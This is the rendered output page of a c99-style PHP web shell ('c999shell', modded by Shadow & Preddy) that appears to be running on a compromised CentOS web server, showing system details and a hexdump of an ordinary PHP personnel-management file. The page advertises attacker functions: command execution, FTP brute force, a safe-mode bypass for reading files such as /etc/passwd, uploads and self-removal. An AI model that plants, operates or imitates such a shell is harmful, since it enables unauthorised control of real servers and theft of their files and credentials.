!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processaAddWorkGpPs.php (1.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage/directorBCNU/admin/processaAddWorkGpPs.php
Size 1.08 KB
MD5 28d8e077f5c786da2fa54d1d8e21ef12
Owner/Group root/root
Perms-rw-r--r--
Create time 28/01/2015 10:49:22
Access time 31/07/2024 05:47:25
MODIFY time 12/07/2009 01:03:22

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
3C 3F 70 68 70 0D 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 28 22 2E 2E 2F
2E 2E 2F 63 6C 61 73 73 2F 63 6C 73 43 6F 6E 6E 65 63 74 69 6F 6E 2E 70
68 70 22 29 3B 0D 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 28 22 2E 2E 2F
2E 2E 2F 63 6C 61 73 73 2F 63 6C 73 44 42 2E 70 68 70 22 29 3B 0D 0A 69
6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 2E 2E 2F 67 6C 6F 62 61 6C 2E 70
68 70 22 3B 0D 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 2E 2E 2F 63
6C 61 73 73 2F 63 6C 73 54 61 62 6C 65 2E 70 68 70 22 3B 0D 0A 69 6E 63
6C 75 64 65 5F 6F 6E 63 65 20 22 2E 2E 2F 63 6C 61 73 73 2F 63 6C 73 44
65 70 61 72 74 6D 65 6E 74 2E 70 68 70 22 3B 0D 0A 69 6E 63 6C 75 64 65
5F 6F 6E 63 65 20 22 2E 2E 2F 63 6C 61 73 73 2F 63 6C 73 50 65 72 73 6F
6E 2E 70 68 70 22 3B 0D 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 2E
2E 2F 63 6C 61 73 73 2F 63 6C 73 57 6F 72 6B 47 72 6F 75 70 2E 70 68 70
22 3B 0D 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 2E 2E 2F 6C 69 6E
6B 2F 66 75 6E 63 74 69 6F 6E 2E 70 68 70 22 3B 0D 0A 0D 0A 24 6F 43 20
3D 20 6E 65 77 20 63 6C 73 43 6F 6E 6E 65 63 74 69 6F 6E 28 24 47 4C 4F
42 41 4C 53 5B 27 44 42 48 4F 53 54 27 5D 2C 20 24 47 4C 4F 42 41 4C 53
5B 27 44 42 4E 41 4D 45 5F 45 4F 46 46 49 43 45 27 5D 2C 20 24 47 4C 4F
42 41 4C 53 5B 27 44 42 55 53 45 52 5F 45 4F 46 46 49 43 45 27 5D 2C 20
24 47 4C 4F 42 41 4C 53 5B 27 44 42 50 41 53 53 5F 45 4F 46 46 49 43 45
27 5D 29 3B 0D 0A 0D 0A 24 6F 44 50 20 3D 20 6E 65 77 20 44 65 70 61 72
74 6D 65 6E 74 28 24 6F 43 29 3B 0D 0A 24 6F 50 53 20 3D 20 6E 65 77 20
70 65 72 73 6F 6E 28 24 6F 43 29 3B 0D 0A 24 6F 57 47 20 3D 20 6E 65 77
20 77 6F 72 6B 47 72 6F 75 70 28 24 6F 43 29 3B 0D 0A 0D 0A 66 6F 72 28
24 72 3D 30 3B 24 72 3C 3D 24 63 6F 75 6E 74 66 69 6C 65 3B 24 72 2B 2B
29 7B 0D 0A 09 09 2F 2F 65 63 68 6F 20 22 24 72 3D 22 2E 24 77 6F 72 6B
47 70 49 64 5B 24 72 5D 2E 22 61 6E 64 22 2E 24 70 65 72 73 6F 6E 49 64
5B 24 72 5D 2E 22 3C 62 72 3E 22 3B 0D 0A 09 09 24 6F 50 53 2D 3E 53 65
61 72 63 68 42 79 4B 65 79 28 24 70 65 72 73 6F 6E 49 64 5B 24 72 5D 29
3B 0D 0A 09 09 24 6F 50 53 2D 3E 47 65 74 52 65 63 6F 72 64 28 29 3B 0D
0A 09 09 24 6F 50 53 2D 3E 45 64 69 74 28 29 3B 0D 0A 09 09 24 6F 50 53
2D 3E 70 65 72 73 6F 6E 49 64 3D 24 70 65 72 73 6F 6E 49 64 5B 24 72 5D
3B 0D 0A 09 09 24 6F 50 53 2D 3E 64 65 70 74 49 64 3D 24 6F 50 53 2D 3E
64 65 70 74 49 64 3B 0D 0A 09 09 24 6F 50 53 2D 3E 77 6F 72 6B 47 70 49
64 3D 24 77 6F 72 6B 47 70 49 64 5B 24 72 5D 3B 0D 0A 09 09 24 6F 50 53
2D 3E 70 72 65 66 69 78 49 64 3D 24 6F 50 53 2D 3E 70 72 65 66 69 78 49
64 3B 0D 0A 09 09 24 6F 50 53 2D 3E 66 4E 61 6D 65 3D 24 6F 50 53 2D 3E
66 4E 61 6D 65 3B 0D 0A 09 09 24 6F 50 53 2D 3E 6C 4E 61 6D 65 3D 24 6F
50 53 2D 3E 6C 4E 61 6D 65 3B 0D 0A 09 09 24 6F 50 53 2D 3E 66 53 74 61
74 75 73 3D 24 6F 50 53 2D 3E 66 53 74 61 74 75 73 3B 0D 0A 09 09 24 6F
50 53 2D 3E 61 64 6D 69 6E 49 64 3D 24 6F 50 53 2D 3E 61 64 6D 69 6E 49
64 3B 0D 0A 09 09 24 6F 50 53 2D 3E 66 52 65 74 69 72 65 3D 24 6F 50 53
2D 3E 66 52 65 74 69 72 65 3B 0D 0A 09 09 24 6F 50 53 2D 3E 53 61 76 65
28 29 3B 0D 0A 7D 0D 0A 65 63 68 6F 20 22 3C 6D 65 74 61 20 68 74 74 70
2D 65 71 75 69 76 3D 27 72 65 66 72 65 73 68 27 20 63 6F 6E 74 65 6E 74
3D 27 30 3B 20 55 52 4C 3D 61 64 64 57 6F 72 6B 47 72 6F 75 70 50 73 2E
70 68 70 3F 64 65 70 74 49 64 3D 24 64 65 70 74 49 64 27 3E 22 3B 0D 0A
3F 3E
<?php  include_once("../
../class/clsConnection.p
hp");  include_once("../
../class/clsDB.php");  i
nclude_once "../global.p
hp";  include_once "../c
lass/clsTable.php";  inc
lude_once "../class/clsD
epartment.php";  include
_once "../class/clsPerso
n.php";  include_once ".
./class/clsWorkGroup.php
";  include_once "../lin
k/function.php";    $oC 
= new clsConnection($GLO
BALS['DBHOST'], $GLOBALS
['DBNAME_EOFFICE'], $GLO
BALS['DBUSER_EOFFICE'], 
$GLOBALS['DBPASS_EOFFICE
']);    $oDP = new Depar
tment($oC);  $oPS = new 
person($oC);  $oWG = new
 workGroup($oC);    for(
$r=0;$r<=$countfile;$r++
){   //echo "$r=".$work
GpId[$r]."and".$personId
[$r]."<br>";   $oPS->Se
archByKey($personId[$r])
;   $oPS->GetRecord(); 
  $oPS->Edit();   $oPS
->personId=$personId[$r]
;   $oPS->deptId=$oPS->
deptId;   $oPS->workGpI
d=$workGpId[$r];   $oPS
->prefixId=$oPS->prefixI
d;   $oPS->fName=$oPS->
fName;   $oPS->lName=$o
PS->lName;   $oPS->fSta
tus=$oPS->fStatus;   $o
PS->adminId=$oPS->adminI
d;   $oPS->fRetire=$oPS
->fRetire;   $oPS->Save
();  }  echo "<meta http
-equiv='refresh' content
='0; URL=addWorkGroupPs.
php?deptId=$deptId'>";  
?>

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0094 ]--